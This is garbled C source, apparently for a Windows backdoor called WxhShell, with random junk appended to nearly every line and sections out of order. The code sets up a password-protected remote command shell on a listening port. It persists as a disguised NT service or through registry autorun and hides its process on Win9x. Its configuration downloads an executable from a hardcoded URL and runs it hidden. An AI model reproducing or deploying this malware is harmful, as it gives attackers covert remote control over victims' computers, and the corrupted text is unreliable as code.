DWORD PebBaseAddress; |mdVdD~go
DWORD AffinityMask; ~q@|l3?$
DWORD BasePriority; .779pT!,M
ULONG UniqueProcessId; VgG0VM
ULONG InheritedFromUniqueProcessId; av}k)ZT_
} PROCESS_BASIC_INFORMATION; @; zl
=)H.cuc
PROCNTQSIP NtQueryInformationProcess; \}u
Y'F
(lBCO?`fx
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; E:sf{B'&
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ja7R2-0ii#
xjuN-
HANDLE hProcess; xaq-.IQAM$
PROCESS_BASIC_INFORMATION pbi; uB]7G0g:
|C;=-|
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0U(@=7V
if(NULL == hInst ) return 0; (Du@ S
:j9l"5"
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ITE{@1
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); *KZYv=s,u
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =V,mtT
U2tV4_ e
if (!NtQueryInformationProcess) return 0; 1y4|{7bb
{NmWQyEv
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \+oQd=K@
if(!hProcess) return 0;
acajHs
="1Ind@w!
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; zsEc(
tzWSA-Li
CloseHandle(hProcess); AP n| \
p,5i)nEFj
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); XV7Ex\D*
if(hProcess==NULL) return 0; VZp5)-!\
=57>!)
HMODULE hMod; [N-Di"
char procName[255]; (Z+.45{-
unsigned long cbNeeded; SB;&GHq"n
4M=]wR;
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \#2Z)Kz
<,3a3
CloseHandle(hProcess); ^H p; .f.
[SjqOTon{
if(strstr(procName,"services")) return 1; // 以服务启动 SXSgld2uS
G)AqbY
return 0; // 注册表启动 zq3\}9
} pxA?
DTX0
// 主模块 >2y':fO
int StartWxhshell(LPSTR lpCmdLine) QGMV}y
{ NlA,'`,
SOCKET wsl; e[{0)y>=
BOOL val=TRUE; >2Y=*K,:
int port=0; paA(C|%{
struct sockaddr_in door; KaLzg5is
Hc;[Cs0
if(wscfg.ws_autoins) Install(); AmUr.ofu
{UX!go^J
port=atoi(lpCmdLine); lB8-Z ow
S^JbyD_yoh
if(port<=0) port=wscfg.ws_port; ")1:F>
2,y|EpG#
WSADATA data; O0*p0J
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >1X|^
H-!,yte
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; cRC6 s8
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v1#otrf
door.sin_family = AF_INET; V%t.l
door.sin_addr.s_addr = inet_addr("127.0.0.1"); CmWeY$Jb
door.sin_port = htons(port); ]]HNd7Vh
nd`1m[7MNu
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %6t:(z
closesocket(wsl); }t!Gey
return 1; ;'gWu
} Yz9owe8}[
'"52uZ{
if(listen(wsl,2) == INVALID_SOCKET) { ;t)3F
closesocket(wsl); I<DL=V
return 1; Mg+2.
8%
} 5G}?fSQ>
Wxhshell(wsl); 0RzEY!9g+
WSACleanup(); V_)-#=J
C;v.S5x
return 0; n5|fHk^s
s$IDLs,WM
} xKbXt;l2
; cNv\t
// 以NT服务方式启动 \-E^lIVF
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g%o(+d
{ aI'&O^w+
DWORD status = 0; HH`'*$]7
DWORD specificError = 0xfffffff; fT|.@%"vc
53_Hl]#qZ
serviceStatus.dwServiceType = SERVICE_WIN32; ~"gA,e-)
serviceStatus.dwCurrentState = SERVICE_START_PENDING; cUk7i`M;6
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;J'LS
serviceStatus.dwWin32ExitCode = 0; O}gV`q;
serviceStatus.dwServiceSpecificExitCode = 0; IZf{nQ[0
serviceStatus.dwCheckPoint = 0; ^+ml5m
serviceStatus.dwWaitHint = 0; 'I|v[G$l
_r#Z}HK
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $L`d&$Vh
if (hServiceStatusHandle==0) return; %64)(z
/|w6:;$;mn
status = GetLastError(); \Dm";Ay>
if (status!=NO_ERROR) + SzU
{ SZ7:u895E
serviceStatus.dwCurrentState = SERVICE_STOPPED; A.F%Ycq
serviceStatus.dwCheckPoint = 0; 7jrt7[{
serviceStatus.dwWaitHint = 0; 4X/-4'
serviceStatus.dwWin32ExitCode = status; j{ ]I]\=?
serviceStatus.dwServiceSpecificExitCode = specificError; QP==?g3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xxj-
6i
return; z9f-.72"X
} E*&vy
Bg=wKwc8
serviceStatus.dwCurrentState = SERVICE_RUNNING; -12UN(&&Z
serviceStatus.dwCheckPoint = 0; uo:J\ E
serviceStatus.dwWaitHint = 0; eSn+ B;
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); !vi>U|rh
} `?H]h"{7Q
>IafUy
// 处理NT服务事件,比如:启动、停止 j a[Et/r
VOID WINAPI NTServiceHandler(DWORD fdwControl) yZ7&b&2nLn
{ HdI8f!X'TG
switch(fdwControl) b)#hSjWO#
{ ho{*Cjv
case SERVICE_CONTROL_STOP: ZmqKQO
serviceStatus.dwWin32ExitCode = 0; D>r&}6<
serviceStatus.dwCurrentState = SERVICE_STOPPED; Z3e| UAif
serviceStatus.dwCheckPoint = 0; >~rTqtKd
serviceStatus.dwWaitHint = 0; ,oe <
{ t^-d/yKt0w
SetServiceStatus(hServiceStatusHandle, &serviceStatus); nUr5Qn?
} =[ 46`-_
return; )CYGQMK
case SERVICE_CONTROL_PAUSE: Y|m+dT6
serviceStatus.dwCurrentState = SERVICE_PAUSED; L- iy
break; hW')Sp
case SERVICE_CONTROL_CONTINUE: _{O>v\u
serviceStatus.dwCurrentState = SERVICE_RUNNING; ? V1*cVD6i
break; iozt&~o
case SERVICE_CONTROL_INTERROGATE: e
,'_xV
break; h^45,E C
}; o 11jca|
SetServiceStatus(hServiceStatusHandle, &serviceStatus); dbLZc$vPj
} iXkF1r]i
iU918!!N
// 标准应用程序主函数 Hvauyx5T
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w(Ovr`o?9t
{ ~NgA
%Xd[(Q)
// 获取操作系统版本 unzr0x
{
OsIsNt=GetOsVer(); f`(UQJ
GetModuleFileName(NULL,ExeFile,MAX_PATH); P8
c`fbkX2
,,.QfUj/&
// 从命令行安装 ;+_:,_
if(strpbrk(lpCmdLine,"iI")) Install(); !TH)
+zi
hag$GX'2k
// 下载执行文件 mIvx1_[
if(wscfg.ws_downexe) { ,t744k')
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) N% B>M7-=
WinExec(wscfg.ws_filenam,SW_HIDE); VCfl`Aq'l
} g-k|>-h
;d$rdFA_
if(!OsIsNt) { +E+p"7
// 如果时win9x,隐藏进程并且设置为注册表启动 bs&43Ae
HideProc(); sdrfsrNvB-
StartWxhshell(lpCmdLine); @{e}4s?7od
} 9RL`<,Q
else ~/U1xk%
if(StartFromService()) (m}'4et~L
// 以服务方式启动 B@))8.h]
StartServiceCtrlDispatcher(DispatchTable); }&D WaO]J7
else iVr J Q
// 普通方式启动 rXq.DvQ
StartWxhshell(lpCmdLine); L{\8!51L
@4C% +-
return 0; ,THw"bm
} nW:C/{n2tG
"{xrL4BtC
'oVx#w^mf
W
i.&e
=========================================== Lb-OsKU
e>OoyDZ@R
{TROoX~H?
I@N8gn
nFCC St$
gVuFHHeUz
" +=h:Vb8
Q{>k1$fkV
#include <stdio.h> RP|`HkP-2
#include <string.h> Dy&i&5E.-l
#include <windows.h> cVpp-Z|s8
#include <winsock2.h> wJqMa9|
#include <winsvc.h> !BF;
>f`
#include <urlmon.h> >y>5#[M!
u#~RkY7s
#pragma comment (lib, "Ws2_32.lib") >:!5*E5?
#pragma comment (lib, "urlmon.lib") t?gic9
q
r5/0u(\LB
#define MAX_USER 100 // 最大客户端连接数 ^76]0`gS
#define BUF_SOCK 200 // sock buffer \@zHON(
#define KEY_BUFF 255 // 输入 buffer |Ez>J+uye(
~?}Emn;t
#define REBOOT 0 // 重启 3?yg\
#define SHUTDOWN 1 // 关机 C )
s5D
n@i HFBb
#define DEF_PORT 5000 // 监听端口 $PPi5f}HD
z<;HQX,
#define REG_LEN 16 // 注册表键长度 b|DdG/O
#define SVC_LEN 80 // NT服务名长度 BO&bmfp7,
=WATyY:s
// 从dll定义API 3d]S!=4H"
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]6`%
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0d&6lqTo
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ITBE|b
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y.UFbrv
+'a^f5
// wxhshell配置信息 0OE:[pR
struct WSCFG { /~?*=}c^m
int ws_port; // 监听端口 n\DV3rXI9
char ws_passstr[REG_LEN]; // 口令 2zb"MEOS5
int ws_autoins; // 安装标记, 1=yes 0=no {\5
char ws_regname[REG_LEN]; // 注册表键名 L2z[
char ws_svcname[REG_LEN]; // 服务名 <'*LRd$1
char ws_svcdisp[SVC_LEN]; // 服务显示名 Gd=RyoJl
char ws_svcdesc[SVC_LEN]; // 服务描述信息 *)Zdz9E'1(
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GefTdO.&
int ws_downexe; // 下载执行标记, 1=yes 0=no q} >%8;nm
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"
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char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pnOAs&QAm
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}; EQM{
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// default Wxhshell configuration ;_(4Q*Yx
struct WSCFG wscfg={DEF_PORT, ,qxu|9L
"xuhuanlingzhe", QWYJ*
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"Wxhshell", Rm( "=(
"Wxhshell", $&td=OK
"WxhShell Service", 8ib:FF(= u
"Wrsky Windows CmdShell Service", ,zjv7$L
"Please Input Your Password: ", 77Y/!~kd
1, (<9u-HF#
"http://www.wrsky.com/wxhshell.exe", fHFE){
"Wxhshell.exe" mzgfFNm^G)
}; |L ev.,,Ph
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// 消息定义模块 Z T%5T}i
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xJe%f\UDu
char *msg_ws_prompt="\n\r? for help\n\r#>"; })%{AfDRF
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Dd|VMW=
char *msg_ws_ext="\n\rExit."; 5H^(2w
char *msg_ws_end="\n\rQuit."; guR/\z$D@C
char *msg_ws_boot="\n\rReboot..."; t6c4+D'{].
char *msg_ws_poff="\n\rShutdown..."; Bzf^ivT3L
char *msg_ws_down="\n\rSave to "; [/r(__.
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char *msg_ws_err="\n\rErr!"; hZb_P\1X
char *msg_ws_ok="\n\rOK!"; Pq$n5fZC!
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char ExeFile[MAX_PATH]; =3P)q"
int nUser = 0; nw<uyaU-t
HANDLE handles[MAX_USER]; h?U
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int OsIsNt; :3 mh@[V
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SERVICE_STATUS serviceStatus; ]SEZaT
SERVICE_STATUS_HANDLE hServiceStatusHandle; 307I$*%W
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// 函数声明 }@)[5N#A|
int Install(void); 4xj4=C~i
int Uninstall(void); 8Zdn, }Z
int DownloadFile(char *sURL, SOCKET wsh); UiNP3TJ'L
int Boot(int flag); :`sUt1Fw.
void HideProc(void); DY*N|OnqJ
int GetOsVer(void); ]?4hyN
int Wxhshell(SOCKET wsl); lB4WKn=?Kl
void TalkWithClient(void *cs); (8OsGn
int CmdShell(SOCKET sock); Lw,h+@0
int StartFromService(void);
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int StartWxhshell(LPSTR lpCmdLine); |s_GlJV.
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VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xIn:ZKJ'
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ar,7S&s